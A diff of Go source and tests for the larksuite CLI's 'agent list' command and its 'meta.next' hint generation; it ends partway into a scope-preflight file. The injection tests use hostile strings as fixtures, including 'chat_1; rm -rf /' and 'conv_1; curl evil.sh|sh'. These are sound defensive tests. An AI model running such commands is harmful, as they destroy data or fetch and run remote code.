"github.com/larksuite/cli/internal/cmdutil"
"github.com/larksuite/cli/internal/output"
)
// providerInfo describes a registered provider adapter in `agent list` output.
// Every field is sourced from the registered iagent.ProviderInfo (the single
// source of truth).
type providerInfo struct {
Scheme string `json:"scheme"`
Label string `json:"label"`
AgentRefFormat string `json:"agent_ref_format"`
Kind string `json:"kind"`
AgentIDSource string `json:"agent_id_source"`
}
// listOptions holds all inputs for `agent list [scheme]`.
type listOptions struct {
Factory *cmdutil.Factory
Cmd *cobra.Command
Scheme string
Format string
}
// NewCmdAgentList builds `agent list [scheme]`. Without an argument it
// enumerates the registered provider adapters with their metadata — a
// pure, API-free listing. With a scheme it performs second-level discovery:
// providers implementing Discoverer enumerate their agents;
// others return unsupported_capability with the agent_id_source
// guidance. Risk=read.
func NewCmdAgentList(f *cmdutil.Factory) *cobra.Command {
opts := &listOptions{Factory: f}
cmd := &cobra.Command{
Use: "list [scheme]",
Short: "List registered agent providers, or enumerate the agents under one provider",
Long: "With no argument, list the built-in provider adapters and their metadata (label / agent_ref format / kind / how to obtain an agent_id) without calling any API. With a scheme, enumerate the agents under that provider (catalog providers must be enumerable; instance providers may not support it).",
Args: maximumArgsWithUsage(1),
RunE: func(cmd *cobra.Command, args []string) error {
if err := validateFormat(opts.Format); err != nil {
return err
}
opts.Cmd = cmd
if len(args) == 1 {
opts.Scheme = args[0]
}
return agentListRun(opts)
},
}
cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
cmdutil.SetRisk(cmd, cmdutil.RiskRead)
return cmd
}
// agentListRun dispatches `agent list [scheme]`: with a scheme it lists that
// provider's agents (second-level discovery); without it renders the provider
// listing. JSON envelope is the default; `pretty` is the opt-in human view.
func agentListRun(opts *listOptions) error {
if opts.Scheme != "" {
return agentListSchemeRun(opts)
}
f := opts.Factory
providers := listProviders()
// pretty is a human view only; a --jq expression implies structured JSON.
if opts.Format == "pretty" && jqExpr(opts.Cmd) == "" {
fmt.Fprintf(f.IOStreams.Out, "SCHEME\tLABEL\tAGENT_REF_FORMAT\tKIND\n")
for _, p := range providers {
fmt.Fprintf(f.IOStreams.Out, "%s\t%s\t%s\t%s\n", p.Scheme, p.Label, p.AgentRefFormat, p.Kind)
}
// agent_id_source is a full sentence — a TSV column would blow out the
// row width, so surface it as a per-provider footer instead. This is the
// single most important "where do I get an agent_id" cue for newcomers
// and must not vanish in the human-readable view.
fmt.Fprintln(f.IOStreams.Out)
for _, p := range providers {
fmt.Fprintf(f.IOStreams.Out, "agent_id 获取(%s: %s\n", p.Scheme, p.AgentIDSource)
}
return nil
}
env := output.Envelope{
OK: true,
Data: map[string]interface{}{"providers": providers},
Notice: output.GetNotice(),
}
if jq := jqExpr(opts.Cmd); jq != "" {
return output.JqFilter(f.IOStreams.Out, env, jq)
}
output.PrintJson(f.IOStreams.Out, env)
return nil
}
// agentListSchemeRun runs `agent list <scheme>`: second-level discovery for one
// provider. The Discoverer probe runs BEFORE any client construction so a
// provider without discovery support returns its precise
// unsupported_capability error even in an unconfigured environment — aligned
// with the validation-before-config-gate principle. Only a provider that
// does implement Discoverer needs a configured client for the real ListAgents
// call.
func agentListSchemeRun(opts *listOptions) error {
f := opts.Factory
info, ok := iagent.Info(opts.Scheme)
if !ok {
return errs.NewValidationError(errs.SubtypeInvalidArgument,
"未知的 agent provider '%s',当前支持: %s",
opts.Scheme, iagent.KnownSchemes()).
WithHint("用 lark-cli agent list 查看可用 provider")
}
if !probeDiscoverer(info) {
return errs.NewValidationError(errs.SubtypeUnsupportedCapability,
"provider '%s' 暂不支持列举 agent", opts.Scheme).
WithHint("%s", info.AgentIDSource)
}
// The real ListAgents call carries the resolved identity, aligned with
// resolveProvider (common.go) — a provider must never see a zero As on an
// API-bound instance.
id := f.ResolveAs(opts.Cmd.Context(), opts.Cmd, "")
apiClient, err := f.NewAPIClient()
if err != nil {
return err
}
p, err := info.Factory(iagent.Deps{Client: apiClient, As: id}, "")
if err != nil {
return errs.NewValidationError(errs.SubtypeInvalidArgument, "%s", err.Error()).WithCause(err)
}
agents, err := p.ListAgents(opts.Cmd.Context())
if err != nil {
return err
}
// pretty is a human view only; a --jq expression implies structured JSON.
if opts.Format == "pretty" && jqExpr(opts.Cmd) == "" {
// Name/Description are agent-controlled remote strings — ANSI-strip
// them before writing to the terminal.
fmt.Fprintf(f.IOStreams.Out, "AGENT_REF\tNAME\tDESCRIPTION\n")
for _, a := range agents {
fmt.Fprintf(f.IOStreams.Out, "%s\t%s\t%s\n", stripANSI(a.AgentRef), stripANSI(a.Name), stripANSI(a.Description))
}
return nil
}
env := output.Envelope{
OK: true,
Data: map[string]interface{}{"agents": agents},
Meta: &output.Meta{Count: len(agents)},
Notice: output.GetNotice(),
}
if jq := jqExpr(opts.Cmd); jq != "" {
return output.JqFilter(f.IOStreams.Out, env, jq)
}
output.PrintJson(f.IOStreams.Out, env)
return nil
}
// probeDiscoverer reports whether the provider built by info can enumerate its
// agents (wires ListAgents). The probe instance is constructed with empty Deps
// and an empty agentID — no client is needed to read a field, which keeps the
// probe usable before config init. A factory error means the capability cannot
// be confirmed, so it degrades to not discoverable.
func probeDiscoverer(info iagent.ProviderInfo) bool {
p, err := info.Factory(iagent.Deps{}, "")
if err != nil || p == nil {
return false
}
return p.ListAgents != nil
}
// listProviders builds the provider descriptors from the built-in registry so
// the listing stays in sync with whatever adapters are registered.
func listProviders() []providerInfo {
schemes := iagent.RegisteredSchemes()
out := make([]providerInfo, 0, len(schemes))
for _, s := range schemes {
// s comes from RegisteredSchemes, so Info always succeeds.
info, _ := iagent.Info(s)
out = append(out, providerInfo{
Scheme: s,
Label: info.Label,
AgentRefFormat: info.AgentRefFormat,
Kind: string(info.Kind),
AgentIDSource: info.AgentIDSource,
})
}
return out
}

View File

@@ -1,428 +0,0 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package agent
import (
"bytes"
"context"
"encoding/json"
"strings"
"testing"
"github.com/spf13/cobra"
"github.com/larksuite/cli/errs"
iagent "github.com/larksuite/cli/internal/agent"
"github.com/larksuite/cli/internal/cmdutil"
"github.com/larksuite/cli/internal/core"
"github.com/larksuite/cli/internal/output"
)
// listFactory returns a Factory writing to a fresh stdout buffer plus a
// listOptions bound to it, ready to drive agentListRun without any API.
func listFactory() (*listOptions, *bytes.Buffer) {
out := &bytes.Buffer{}
errOut := &bytes.Buffer{}
f := &cmdutil.Factory{IOStreams: &cmdutil.IOStreams{Out: out, ErrOut: errOut}}
return &listOptions{Factory: f, Format: "json"}, out
}
// decodeProviders unmarshals the envelope on out and returns data.providers.
func decodeProviders(t *testing.T, out *bytes.Buffer) []interface{} {
t.Helper()
var env output.Envelope
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
t.Fatalf("output should be valid envelope JSON: %v (%s)", err, out.String())
}
data, _ := env.Data.(map[string]interface{})
providers, _ := data["providers"].([]interface{})
return providers
}
// findProvider returns the provider entry whose scheme matches, or nil.
func findProvider(providers []interface{}, scheme string) map[string]interface{} {
for _, pv := range providers {
p, _ := pv.(map[string]interface{})
if p["scheme"] == scheme {
return p
}
}
return nil
}
// TestAgentListRun_ProviderFieldsV2 pins the provider entry contract: the
// example entry carries all fields sourced from iagent.Info (the single source
// of truth), the legacy free-text description field is gone, and discoverable
// is no longer exposed.
func TestAgentListRun_ProviderFieldsV2(t *testing.T) {
opts, out := listFactory()
if err := agentListRun(opts); err != nil {
t.Fatalf("list should not error: %v", err)
}
info, ok := iagent.Info("example")
if !ok {
t.Fatal("the example provider should already be registered (blank import in agent.go)")
}
p := findProvider(decodeProviders(t, out), "example")
if p == nil {
t.Fatalf("list should include the example provider: %s", out.String())
}
if p["label"] != info.Label {
t.Errorf("label should come from ProviderInfo.Label %q, got %v", info.Label, p["label"])
}
if p["agent_ref_format"] != info.AgentRefFormat {
t.Errorf("agent_ref_format should come from ProviderInfo.AgentRefFormat %q, got %v", info.AgentRefFormat, p["agent_ref_format"])
}
if p["kind"] != string(info.Kind) {
t.Errorf("kind should come from ProviderInfo.Kind %q, got %v", info.Kind, p["kind"])
}
if p["agent_id_source"] != info.AgentIDSource {
t.Errorf("agent_id_source should come from ProviderInfo.AgentIDSource, got %v", p["agent_id_source"])
}
if _, present := p["description"]; present {
t.Errorf("the old description field should be removed (double-source with label), got %v", p)
}
if _, present := p["discoverable"]; present {
t.Errorf("the discoverable field should be removed from the provider list, got %v", p["discoverable"])
}
}
// TestAgentListRun_EnvelopeShape verifies the JSON envelope carries
// data.providers[] with the full field contract.
func TestAgentListRun_EnvelopeShape(t *testing.T) {
opts, out := listFactory()
if err := agentListRun(opts); err != nil {
t.Fatalf("list should not error: %v", err)
}
var env output.Envelope
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
t.Fatalf("output should be valid envelope JSON: %v (%s)", err, out.String())
}
if !env.OK {
t.Errorf("ok should be true: %+v", env)
}
providers := decodeProviders(t, out)
if len(providers) == 0 {
t.Fatalf("data.providers should be a non-empty array: %s", out.String())
}
first, ok := providers[0].(map[string]interface{})
if !ok {
t.Fatalf("provider entry should be an object, got %T", providers[0])
}
for _, key := range []string{"scheme", "label", "agent_ref_format", "kind", "agent_id_source"} {
if _, present := first[key]; !present {
t.Errorf("provider entry missing field %q: %v", key, first)
}
}
if _, present := first["discoverable"]; present {
t.Errorf("provider entry should not contain a discoverable field: %v", first)
}
}
// TestAgentListDefaultFormatIsJSON pins the default flip: `agent list`
// without --format emits the JSON envelope (pretty is opt-in).
func TestAgentListDefaultFormatIsJSON(t *testing.T) {
out := &bytes.Buffer{}
errOut := &bytes.Buffer{}
f := &cmdutil.Factory{IOStreams: &cmdutil.IOStreams{Out: out, ErrOut: errOut}}
cmd := NewCmdAgentList(f)
cmd.SetOut(&bytes.Buffer{})
cmd.SetErr(&bytes.Buffer{})
cmd.SetArgs([]string{})
if err := cmd.Execute(); err != nil {
t.Fatalf("agent list should not error: %v", err)
}
var env output.Envelope
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
t.Fatalf("default output should be a JSON envelope: %v (%s)", err, out.String())
}
if !env.OK {
t.Errorf("ok should be true: %+v", env)
}
}
// TestAgentListRun_PrettyFormat pins the opt-in --format pretty branch: a header
// row plus tab-separated provider lines, not a JSON envelope.
func TestAgentListRun_PrettyFormat(t *testing.T) {
out := &bytes.Buffer{}
errOut := &bytes.Buffer{}
f := &cmdutil.Factory{IOStreams: &cmdutil.IOStreams{Out: out, ErrOut: errOut}}
opts := &listOptions{Factory: f, Format: "pretty"}
if err := agentListRun(opts); err != nil {
t.Fatalf("list pretty should not error: %v", err)
}
text := out.String()
// A pretty rendering is human text, not a JSON envelope.
var env output.Envelope
if json.Unmarshal(out.Bytes(), &env) == nil && env.OK {
t.Fatalf("pretty format should not output a JSON envelope: %s", text)
}
if !strings.HasPrefix(text, "SCHEME") {
t.Errorf("pretty output should start with a header row: %s", text)
}
if !strings.Contains(text, "example") {
t.Errorf("pretty output should contain the example provider: %s", text)
}
if !strings.Contains(text, "example:<agent_id>") {
t.Errorf("pretty output should contain the example ref format: %s", text)
}
// agent_id_source is surfaced as a footer (not a column) so the newcomer's
// "where do I get an agent_id" cue does not disappear in the pretty view.
if !strings.Contains(text, "agent_id 获取") {
t.Errorf("pretty output should contain the agent_id_source footer hint: %s", text)
}
}
// TestAgentListScheme_UnsupportedCapability pins that `agent list fakeflow`
// on a provider without Discoverer is unsupported_capability (exit 2) with the
// AgentIDSource text as hint, and — because the probe runs before any client
// construction — works on an unconfigured Factory.
func TestAgentListScheme_UnsupportedCapability(t *testing.T) {
registerScripted()
opts, _ := listFactory()
opts.Scheme = "fakeflow"
err := agentListRun(opts)
if err == nil {
t.Fatal("fakeflow does not implement Discoverer, so list fakeflow should error")
}
if !errs.IsValidation(err) {
t.Fatalf("should be a validation error, got %T (%v)", err, err)
}
if code := output.ExitCodeOf(err); code != output.ExitValidation {
t.Fatalf("exit code should be 2, got %d", code)
}
p, ok := errs.ProblemOf(err)
if !ok || p.Subtype != errs.Subtype("unsupported_capability") {
t.Fatalf("subtype should be unsupported_capability, got %+v", p)
}
if !strings.Contains(err.Error(), "provider 'fakeflow' 暂不支持列举 agent") {
t.Errorf("message should state that listing is not supported, got %q", err.Error())
}
if !strings.Contains(p.Hint, fakeflowAgentIDSource) {
t.Errorf("hint should be the AgentIDSource text, got %q", p.Hint)
}
}
// TestAgentListScheme_UnknownScheme pins that an unregistered scheme is
// invalid_argument and the message lists the registered schemes.
func TestAgentListScheme_UnknownScheme(t *testing.T) {
opts, _ := listFactory()
opts.Scheme = "nosuch"
err := agentListRun(opts)
if err == nil {
t.Fatal("an unknown scheme should error")
}
if !errs.IsValidation(err) {
t.Fatalf("should be a validation error, got %T (%v)", err, err)
}
p, ok := errs.ProblemOf(err)
if !ok || p.Subtype != errs.SubtypeInvalidArgument {
t.Fatalf("subtype should be invalid_argument, got %+v", p)
}
if !strings.Contains(err.Error(), "nosuch") || !strings.Contains(err.Error(), "example") {
t.Errorf("message should contain the unknown scheme and the registered scheme list, got %q", err.Error())
}
// Hand-written validation errors carry a recovery hint pointing at
// `agent list` for provider discovery.
if !strings.Contains(p.Hint, "agent list") {
t.Errorf("unknown-scheme hint should point to `agent list`, got %q", p.Hint)
}
}
// stubCore wires the mandatory core fields onto a test *Provider; the list
// tests never dispatch Send/GetTask (they only exercise ListAgents), but
// Register requires both non-nil.
func stubCore(p *iagent.Provider) *iagent.Provider {
p.Send = func(ctx context.Context, in iagent.SendInput) (*iagent.AgentTask, error) { return nil, nil }
p.GetTask = func(ctx context.Context, taskID string) (*iagent.AgentTask, error) { return nil, nil }
return p
}
// newFakeDisc is a test-only enumerable provider (wires ListAgents), to pin the
// `agent list <scheme>` positive path without a real catalog provider.
func newFakeDisc() *iagent.Provider {
return stubCore(&iagent.Provider{
ListAgents: func(ctx context.Context) ([]iagent.AgentSummary, error) {
return []iagent.AgentSummary{
{AgentRef: "fakedisc:a1", Name: "Agent One", Description: "第一个"},
{AgentRef: "fakedisc:a2", Name: "Agent Two"},
}, nil
},
})
}
// registerFakeDisc registers the fakedisc scheme. Like fakepause in
// send_test.go this leaks into the package-level registry for the remaining
// tests of this package run — so no test in this package may assert an exact
// provider set or provider count.
func registerFakeDisc() {
iagent.Register("fakedisc", iagent.ProviderInfo{
Factory: func(deps iagent.Deps, agentID string) (*iagent.Provider, error) { return newFakeDisc(), nil },
Label: "test fake (discoverer)",
AgentRefFormat: "fakedisc:<agent_id>",
AgentIDSource: "test only",
Kind: iagent.KindCatalog,
Identities: []iagent.IdentitySpec{{Type: iagent.IdentityUser}},
})
}
// TestAgentListScheme_DiscovererListsAgents pins the positive path: a
// provider implementing Discoverer yields {agents:[AgentSummary...]} plus
// meta.count.
func TestAgentListScheme_DiscovererListsAgents(t *testing.T) {
registerFakeDisc()
cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu}
f, _, _, _ := cmdutil.TestFactory(t, cfg)
cmd := &cobra.Command{Use: "list"}
cmd.SetContext(context.Background())
opts := &listOptions{Factory: f, Cmd: cmd, Format: "json", Scheme: "fakedisc"}
out := f.IOStreams.Out.(interface{ Bytes() []byte })
if err := agentListRun(opts); err != nil {
t.Fatalf("list fakedisc should not error: %v", err)
}
var env output.Envelope
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
t.Fatalf("output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
}
data, _ := env.Data.(map[string]interface{})
agents, ok := data["agents"].([]interface{})
if !ok || len(agents) != 2 {
t.Fatalf("data.agents should have 2 entries, got %v", data["agents"])
}
first, _ := agents[0].(map[string]interface{})
if first["agent_ref"] != "fakedisc:a1" || first["name"] != "Agent One" {
t.Errorf("agents[0] should be an AgentSummary {agent_ref, name}, got %v", first)
}
if env.Meta == nil || env.Meta.Count != 2 {
t.Errorf("meta.count should be 2, got %+v", env.Meta)
}
}
// TestAgentListScheme_PropagatesIdentity pins the Task 10 review item: the
// provider rebuilt for the real ListAgents call must carry the resolved
// identity in its Deps (aligned with resolveProvider), not a zero As.
func TestAgentListScheme_PropagatesIdentity(t *testing.T) {
var captured iagent.Deps
iagent.Register("fakedeps", iagent.ProviderInfo{
Factory: func(deps iagent.Deps, agentID string) (*iagent.Provider, error) {
captured = deps
return newFakeDisc(), nil
},
Label: "test fake (deps capture)",
AgentRefFormat: "fakedeps:<agent_id>",
AgentIDSource: "test only",
Kind: iagent.KindCatalog,
Identities: []iagent.IdentitySpec{{Type: iagent.IdentityUser}},
})
cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu}
f, _, _, _ := cmdutil.TestFactory(t, cfg)
cmd := &cobra.Command{Use: "list"}
cmd.SetContext(context.Background())
opts := &listOptions{Factory: f, Cmd: cmd, Format: "json", Scheme: "fakedeps"}
if err := agentListRun(opts); err != nil {
t.Fatalf("list fakedeps should not error: %v", err)
}
if captured.As == "" {
t.Error("the rebuilt provider's Deps.As should carry the resolved identity, got empty")
}
if captured.As != f.ResolvedIdentity {
t.Errorf("Deps.As should match the Factory's resolved identity, got %q vs %q", captured.As, f.ResolvedIdentity)
}
}
// newDirtyName is an enumerable provider whose agent names carry ANSI escapes,
// to pin the pretty-path sanitization of agent-controlled fields.
func newDirtyName() *iagent.Provider {
return stubCore(&iagent.Provider{
ListAgents: func(ctx context.Context) ([]iagent.AgentSummary, error) {
return []iagent.AgentSummary{
{AgentRef: "fakedirty:a1", Name: "\x1b[31mEvil\x1b[0m One", Description: "d\x1b[2Jesc"},
}, nil
},
})
}
// TestAgentListScheme_PrettyStripsANSI pins the Task 10 review item: `agent list
// <scheme> --format pretty` must strip ANSI escapes from the agent-controlled
// Name/Description before they reach the terminal.
func TestAgentListScheme_PrettyStripsANSI(t *testing.T) {
iagent.Register("fakedirty", iagent.ProviderInfo{
Factory: func(deps iagent.Deps, agentID string) (*iagent.Provider, error) { return newDirtyName(), nil },
Label: "test fake (dirty names)",
AgentRefFormat: "fakedirty:<agent_id>",
AgentIDSource: "test only",
Kind: iagent.KindCatalog,
Identities: []iagent.IdentitySpec{{Type: iagent.IdentityUser}},
})
cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu}
f, _, _, _ := cmdutil.TestFactory(t, cfg)
cmd := &cobra.Command{Use: "list"}
cmd.SetContext(context.Background())
opts := &listOptions{Factory: f, Cmd: cmd, Format: "pretty", Scheme: "fakedirty"}
out := f.IOStreams.Out.(interface{ Bytes() []byte })
if err := agentListRun(opts); err != nil {
t.Fatalf("list fakedirty pretty should not error: %v", err)
}
text := string(out.Bytes())
if strings.Contains(text, "\x1b") {
t.Errorf("ANSI sequences in agent Name/Description must be stripped: %q", text)
}
if !strings.Contains(text, "Evil One") || !strings.Contains(text, "desc") {
t.Errorf("readable text should remain after stripping, got %q", text)
}
}
// TestAgentListJqFlagRegisteredAndConsumed pins the quality-review fix: the
// --jq flag must be registered on `agent list` and filter the envelope.
func TestAgentListJqFlagRegisteredAndConsumed(t *testing.T) {
out := &bytes.Buffer{}
errOut := &bytes.Buffer{}
f := &cmdutil.Factory{IOStreams: &cmdutil.IOStreams{Out: out, ErrOut: errOut}}
cmd := NewCmdAgentList(f)
cmd.SetOut(&bytes.Buffer{})
cmd.SetErr(&bytes.Buffer{})
cmd.SetContext(context.Background())
cmd.SetArgs([]string{"--jq", ".ok"})
if err := cmd.Execute(); err != nil {
t.Fatalf("agent list --jq should not error: %v", err)
}
if got := strings.TrimSpace(out.String()); got != "true" {
t.Errorf("--jq .ok should output only true, got %q", got)
}
}
// TestNewCmdAgentList_ReadRisk pins the read risk annotation, the json default
// of --format, the --jq flag presence, and that list takes at most one
// positional arg (the scheme).
func TestNewCmdAgentList_ReadRisk(t *testing.T) {
cmd := NewCmdAgentList(nil)
if level, ok := cmdutil.GetRisk(cmd); !ok || level != cmdutil.RiskRead {
t.Errorf("agent list should be marked read risk, got level=%q ok=%v", level, ok)
}
fl := cmd.Flags().Lookup("format")
if fl == nil {
t.Fatal("agent list should have a --format flag")
}
if fl.DefValue != "json" {
t.Errorf("--format default should flip to json, got %q", fl.DefValue)
}
if cmd.Flags().Lookup("jq") == nil {
t.Error("agent list should have a --jq flag")
}
if err := cmd.Args(cmd, []string{}); err != nil {
t.Errorf("agent list with no args should be valid: %v", err)
}
if err := cmd.Args(cmd, []string{"example"}); err != nil {
t.Errorf("agent list <scheme> should be valid: %v", err)
}
if err := cmd.Args(cmd, []string{"example", "extra"}); err == nil {
t.Error("agent list with more than 1 positional argument should error (MaximumNArgs 1)")
}
}

View File

@@ -1,218 +0,0 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package agent
import (
"strings"
"testing"
iagent "github.com/larksuite/cli/internal/agent"
)
// allTaskStates is the full 9-state A2A enum (internal/agent/state.go), so the
// contract test automatically covers any future nextForTask branch keyed on a
// state instead of relying on hand-picked samples.
var allTaskStates = []iagent.TaskState{
iagent.StateSubmitted,
iagent.StateWorking,
iagent.StateInputRequired,
iagent.StateAuthRequired,
iagent.StateCompleted,
iagent.StateFailed,
iagent.StateCanceled,
iagent.StateRejected,
iagent.StateUnknown,
}
// TestNextForTaskCommandsParseAgainstRealTree is the meta.next contract test:
// every next command emitted by nextForTask — across all 9 task states, with
// and without a context id, template hints included (their <...> placeholders
// are single space-free tokens, so they parse as ordinary flag values) — must
// traverse and flag-parse against the real agent command tree. meta.next is
// defined as "AI executes this verbatim", so a next that references a
// nonexistent flag (e.g. --wait on task get) is a broken contract, caught here
// at build time instead of by a failing acceptance run.
func TestNextForTaskCommandsParseAgainstRealTree(t *testing.T) {
// GIVEN: the real agent subtree (nil Factory: construction-time only, no
// credentials; all meta.next commands live under `lark-cli agent ...`).
agentTree := NewCmdAgent(nil)
for _, state := range allTaskStates {
for _, ctxID := range []string{"", "conversation_1"} {
task := &iagent.AgentTask{
TaskID: "chat_1",
ContextID: ctxID,
State: state,
IsTerminal: state.IsTerminal(),
}
next := nextForTask("example:agent_x", task)
if len(next) == 0 {
t.Fatalf("state %s (ctx %q): legit task must produce next hints", state, ctxID)
}
for _, n := range next {
if state == iagent.StateAuthRequired {
// auth_required is an agent-side task state whose next step is
// the auth (re-authorize) flow, so it legitimately points OUT
// of the agent subtree and is not traversable against
// agentTree; assert its shape and skip the agent traversal.
if !strings.HasPrefix(n.Command, "lark-cli auth login") || !strings.Contains(n.Command, "--scope") {
t.Fatalf("auth_required next should point to auth login --scope, got %q", n.Command)
}
continue
}
if !strings.HasPrefix(n.Command, "lark-cli agent ") {
t.Fatalf("next %q must target the agent subtree", n.Command)
}
// WHEN: the command string is parsed against the real tree.
argv := strings.Fields(strings.TrimPrefix(n.Command, "lark-cli agent "))
c, flags, err := agentTree.Traverse(argv)
// THEN: it traverses to a leaf and its flags all exist.
if err != nil {
t.Fatalf("state %s (ctx %q): next %q not traversable: %v", state, ctxID, n.Command, err)
}
if c == agentTree {
t.Fatalf("state %s (ctx %q): next %q did not reach a subcommand", state, ctxID, n.Command)
}
if err := c.ParseFlags(flags); err != nil {
t.Fatalf("state %s (ctx %q): next %q flags invalid: %v", state, ctxID, n.Command, err)
}
}
}
}
}
// TestNextForTaskRejectsInjectionIDs pins the security whitelist: a
// server-supplied task_id that is not pure [A-Za-z0-9_-] must suppress the
// whole next entry (omit rather than risk injection), in every state —
// meta.next commands are executed verbatim by AI callers, so shell
// metacharacters in an interpolated id are command injection.
func TestNextForTaskRejectsInjectionIDs(t *testing.T) {
for _, bad := range []string{"chat_1; rm -rf /", "chat `x`", "chat 1", `chat"1"`, "chat$(x)", "chat|x"} {
for _, state := range allTaskStates {
task := &iagent.AgentTask{TaskID: bad, State: state}
if next := nextForTask("example:agent_x", task); len(next) != 0 {
t.Fatalf("injection task_id %q (state %s) must suppress next, got %+v", bad, state, next)
}
}
}
}
// TestNextForTaskRejectsUnsafeRef pins the ref whitelist:
// the user-echoed ref is interpolated into every next command, so a ref that
// is not <charset>:<charset> (exactly one ':', [A-Za-z0-9_-] on both sides)
// suppresses the whole hint — a ref with spaces/quotes would make the command
// un-copy-pasteable at best and an injection surface at worst.
func TestNextForTaskRejectsUnsafeRef(t *testing.T) {
task := &iagent.AgentTask{TaskID: "chat_1", State: iagent.StateWorking}
for _, bad := range []string{"example:agent x", "example:x;rm -rf /", "example", "a:b:c", "example:$(x)", `example:"x"`, ":x", "example:"} {
if next := nextForTask(bad, task); len(next) != 0 {
t.Errorf("unsafe ref %q should suppress the whole next, got %+v", bad, next)
}
}
if next := nextForTask("example:agent_x", task); len(next) == 0 {
t.Error("valid ref example:agent_x should keep next")
}
}
// TestNextForTaskDegradesInjectionContextID pins the context_id whitelist with
// its degradation semantics: a legit task_id with an injection-shaped
// context_id (input_required branch interpolates both) keeps the hint but
// replaces the dirty id with the <context_id> placeholder — Template:true, no
// untrusted content interpolated.
func TestNextForTaskDegradesInjectionContextID(t *testing.T) {
dirty := "conv_1; curl evil.sh|sh"
task := &iagent.AgentTask{
TaskID: "chat_1",
ContextID: dirty,
State: iagent.StateInputRequired,
}
next := nextForTask("example:agent_x", task)
if len(next) != 1 {
t.Fatalf("dirty context_id must degrade, not drop the hint, got %+v", next)
}
if !next[0].Template {
t.Errorf("degraded hint must be template=true, got %+v", next[0])
}
if !strings.Contains(next[0].Command, "<context_id>") {
t.Errorf("degraded hint must use the <context_id> placeholder: %q", next[0].Command)
}
if strings.Contains(next[0].Command, "conv_1") {
t.Errorf("dirty context_id leaked into the command: %q", next[0].Command)
}
}
// TestNextForTaskAuthRequiredPointsToAuth pins F6: auth_required is an
// agent-side task state (the end user must (re)authorize in the agent), NOT a
// text-continuation like input_required. Its next must point at the auth
// re-authorize flow (auth login --scope), never reuse the text-continuation
// send hint.
func TestNextForTaskAuthRequiredPointsToAuth(t *testing.T) {
task := &iagent.AgentTask{TaskID: "chat_1", ContextID: "conv_1", State: iagent.StateAuthRequired}
next := nextForTask("example:agent_x", task)
if len(next) != 1 {
t.Fatalf("auth_required should produce 1 next, got %+v", next)
}
// Must NOT be the input_required text-continuation hint.
if strings.Contains(next[0].Command, "agent send") || strings.Contains(next[0].Command, "--text") {
t.Fatalf("auth_required should not reuse the text-continuation hint, got %q", next[0].Command)
}
// Must point at the auth (re-authorize) flow.
if !strings.HasPrefix(next[0].Command, "lark-cli auth login") || !strings.Contains(next[0].Command, "--scope") {
t.Fatalf("auth_required should point to auth login --scope, got %q", next[0].Command)
}
// The concrete scopes come from the card, so the command carries a
// placeholder and must be marked template.
if !next[0].Template {
t.Errorf("contains a placeholder, should be Template=true, got %+v", next[0])
}
}
// TestNextForTaskWatchNotWait pins the flag-name fix and the bounded-watch
// default: task get has --watch, not --wait, and the poll hint must suggest a
// BOUNDED watch (`--watch --timeout <default>`) so an AI caller neither blocks
// forever on a long task nor self-hammers with unbounded polls.
func TestNextForTaskWatchNotWait(t *testing.T) {
next := nextForTask("example:agent_x", &iagent.AgentTask{TaskID: "chat_1", State: iagent.StateWorking})
if len(next) == 0 {
t.Fatal("working task must produce a poll next")
}
if !strings.Contains(next[0].Command, "--watch") || strings.Contains(next[0].Command, "--wait") {
t.Fatalf("poll next must use --watch: %+v", next)
}
wantTimeout := "--timeout " + defaultWatchTimeout.String()
if !strings.Contains(next[0].Command, wantTimeout) {
t.Fatalf("poll next must be bounded with %q, got %+v", wantTimeout, next)
}
}
// TestNextForTaskTemplateFlag pins the template marker semantics: the
// input_required continue hint carries a <你的答复> placeholder, so it must be
// marked template=true (not directly executable); poll and terminal-detail
// hints are verbatim-executable and must not carry the marker.
func TestNextForTaskTemplateFlag(t *testing.T) {
// input_required with a known context: placeholder in --text → template.
cont := nextForTask("example:agent_x", &iagent.AgentTask{
TaskID: "chat_1", ContextID: "conv_1", State: iagent.StateInputRequired,
})
if len(cont) != 1 || !cont[0].Template {
t.Fatalf("input_required next must be template=true, got %+v", cont)
}
// input_required without a context id: <context_id> placeholder → template.
contNoCtx := nextForTask("example:agent_x", &iagent.AgentTask{
TaskID: "chat_1", State: iagent.StateInputRequired,
})
if len(contNoCtx) != 1 || !contNoCtx[0].Template {
t.Fatalf("input_required (no ctx) next must be template=true, got %+v", contNoCtx)
}
// Poll and terminal-detail hints are directly executable → no template flag.
for _, task := range []*iagent.AgentTask{
{TaskID: "chat_1", State: iagent.StateWorking},
{TaskID: "chat_1", State: iagent.StateCompleted, IsTerminal: true},
} {
next := nextForTask("example:agent_x", task)
if len(next) != 1 || next[0].Template {
t.Fatalf("state %s next must be executable (template unset), got %+v", task.State, next)
}
}
}

View File

@@ -1,133 +0,0 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package agent
import (
"sort"
"strings"
"github.com/larksuite/cli/errs"
iagent "github.com/larksuite/cli/internal/agent"
larkauth "github.com/larksuite/cli/internal/auth"
"github.com/larksuite/cli/internal/cmdutil"
"github.com/larksuite/cli/internal/core"
)
// This file implements the local scope preflight: after
// resolveProvider succeeds and before the real API call, the stored user
// token's scope list is checked against the provider's RequiredScopes
// declaration. The check is all-or-nothing — any real API verb requires the
// provider's entire scope set. It is entirely local — the scope list is read
// from the credential cache (keychain), never from the network — so a missing
// scope surfaces as an actionable validation error (exit 2) instead of a
// round-trip API 99991679. `--dry-run` never reaches it (dry-run returns before
// resolveProvider), preserving its always-available contract.
// storedUserScopes is the token-scope read seam: it returns the granted scope
// list of the stored user token from the LOCAL credential cache (keychain via
// GetStoredToken — same read path as `auth check`), issuing no network
// request. nil/empty means "no usable local scope list" and the caller skips
